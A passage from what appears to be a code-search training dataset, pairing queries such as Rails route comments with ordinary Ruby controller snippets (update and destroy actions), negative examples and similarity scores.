"def update\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n\n respond_to do |format|\n if @user.update(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = user.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update # PATCH\n raise NotImplementedError\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { render :json => @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => t('user.update_success') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status=> :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user, status: :unprocessable_entity }\n end\n end\n end",
"def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n\t\tif @user.update(users_params)\n \t\tjson_response(@user, \"User Update Successfully.\")\n \telse\n \t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n \tend\n\tend",
"def update\n respond_to do |format|\n if current_user.update(user_params)\n format.json {\n render json: {\n status: 'success',\n data: current_user\n },\n status: :ok\n }\n else\n format.json { render json: current_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = ::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7255074",
"0.71287984",
"0.7023148",
"0.68843883",
"0.6871747",
"0.685192",
"0.67992973",
"0.67949516",
"0.67491424",
"0.6731493",
"0.67004377",
"0.66624266",
"0.6655125",
"0.66494757",
"0.66303724",
"0.66235024",
"0.6611312",
"0.6611312",
"0.6597745",
"0.659719",
"0.6586126",
"0.656735",
"0.65639734",
"0.6558792",
"0.65411264",
"0.65411264",
"0.65226",
"0.6521965",
"0.6499772",
"0.6489754",
"0.6489754",
"0.64866894",
"0.6476359",
"0.64758223",
"0.6473002",
"0.6469257",
"0.6465177",
"0.6465177",
"0.64622104",
"0.6450728",
"0.6418779",
"0.64153373",
"0.6404962",
"0.6395119",
"0.63884276",
"0.63612115",
"0.6358215",
"0.63535887",
"0.63450396",
"0.6340411",
"0.63277483",
"0.63277483",
"0.6327078",
"0.6327078",
"0.63241464",
"0.6323892",
"0.6323447",
"0.6323288",
"0.6315827",
"0.63076454",
"0.6307107",
"0.6304597",
"0.6303997",
"0.62955254",
"0.6291538",
"0.6276877",
"0.6276228",
"0.6274309",
"0.6272488",
"0.6251258",
"0.625076",
"0.62388057",
"0.62366885",
"0.6234599",
"0.6227183",
"0.62257284",
"0.6224904",
"0.62105656",
"0.62103",
"0.62103",
"0.6210129",
"0.6206228",
"0.62005204",
"0.6200221",
"0.6199534",
"0.61956173",
"0.6193335",
"0.61930716",
"0.6186791",
"0.61846733",
"0.6181951",
"0.61796814",
"0.61795086",
"0.6177548",
"0.617695",
"0.61759114",
"0.616657",
"0.615897",
"0.61496055",
"0.61442256",
"0.6144076"
] |
0.0
|
-1
|
DELETE /api/users/1 DELETE /api/users/1.json
|
def destroy
@user.destroy
head :no_content
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def destroy\n @api_user.destroy\n\n head :no_content\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def remove_user\n query_api '/rest/user', nil, 'DELETE'\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n format.json { head :no_content }\n end",
"def destroy\n user = User.find(params[:id])\n if user.destroy\n render json: user\n else\n render json: user.errors\n end\n end",
"def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def call(id)\n client.delete(\"/api/rest/v1/users/#{id}.json\")\n true\n end",
"def destroy\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end",
"def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.8176099",
"0.8037374",
"0.7915856",
"0.7908018",
"0.78715193",
"0.7742257",
"0.7742257",
"0.773173",
"0.7714246",
"0.77097553",
"0.76965594",
"0.76766056",
"0.76670444",
"0.7663296",
"0.7639878",
"0.7609528",
"0.76033205",
"0.75689375",
"0.75667244",
"0.75652003",
"0.75648475",
"0.75608814",
"0.75522393",
"0.7541869",
"0.75382113",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75362194",
"0.75297314",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092",
"0.7524092"
] |
0.0
|
-1
|
Use callbacks to share common setup or constraints between actions.
|
def set_user
@user = User.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
"def execute(setup)\n @action.call(setup)\n end",
"def define_action_helpers?; end",
"def set_actions\n actions :all\n end",
"def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end",
"def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end",
"def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end",
"def before_actions(*logic)\n self.before_actions = logic\n end",
"def setup_handler\n end",
"def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end",
"def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def action; end",
"def workflow\n end",
"def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end",
"def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end",
"def before(action)\n invoke_callbacks *self.class.send(action).before\n end",
"def process_action(...)\n send_action(...)\n end",
"def before_dispatch(env); end",
"def after_actions(*logic)\n self.after_actions = logic\n end",
"def setup\n # override and do something appropriate\n end",
"def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end",
"def setup(_context)\n end",
"def setup(resources) ; end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end",
"def determine_valid_action\n\n end",
"def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end",
"def startcompany(action)\n @done = true\n action.setup\n end",
"def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end",
"def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end",
"def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end",
"def define_tasks\n define_weave_task\n connect_common_tasks\n end",
"def setup(&block)\n define_method(:setup, &block)\n end",
"def setup\n transition_to(:setup)\n end",
"def setup\n transition_to(:setup)\n end",
"def action\n end",
"def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend",
"def config(action, *args); end",
"def setup\n @setup_proc.call(self) if @setup_proc\n end",
"def before_action \n end",
"def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end",
"def action\n end",
"def matt_custom_action_begin(label); end",
"def setup\n # override this if needed\n end",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end",
"def after(action)\n invoke_callbacks *options_for(action).after\n end",
"def pre_task\n end",
"def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end",
"def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end",
"def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end",
"def setup_signals; end",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend",
"def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end",
"def initialize(*args)\n super\n @action = :set\nend",
"def after_set_callback; end",
"def setup\n #implement in subclass;\n end",
"def lookup_action; end",
"def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end",
"def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end",
"def release_actions; end",
"def around_hooks; end",
"def save_action; end",
"def setup(easy)\n super\n easy.customrequest = @verb\n end",
"def action_target()\n \n end",
"def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end",
"def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end",
"def before_setup\n # do nothing by default\n end",
"def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end",
"def default_action; end",
"def setup(&blk)\n @setup_block = blk\n end",
"def callback_phase\n super\n end",
"def advice\n end",
"def _handle_action_missing(*args); end",
"def duas1(action)\n action.call\n action.call\nend",
"def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end",
"def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end",
"def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend"
] |
[
"0.6163163",
"0.6045976",
"0.5946146",
"0.591683",
"0.5890051",
"0.58349305",
"0.5776858",
"0.5703237",
"0.5703237",
"0.5652805",
"0.5621621",
"0.54210985",
"0.5411113",
"0.5411113",
"0.5411113",
"0.5391541",
"0.53794575",
"0.5357573",
"0.53402257",
"0.53394014",
"0.53321576",
"0.53124547",
"0.529654",
"0.5296262",
"0.52952296",
"0.52600986",
"0.52442724",
"0.52385926",
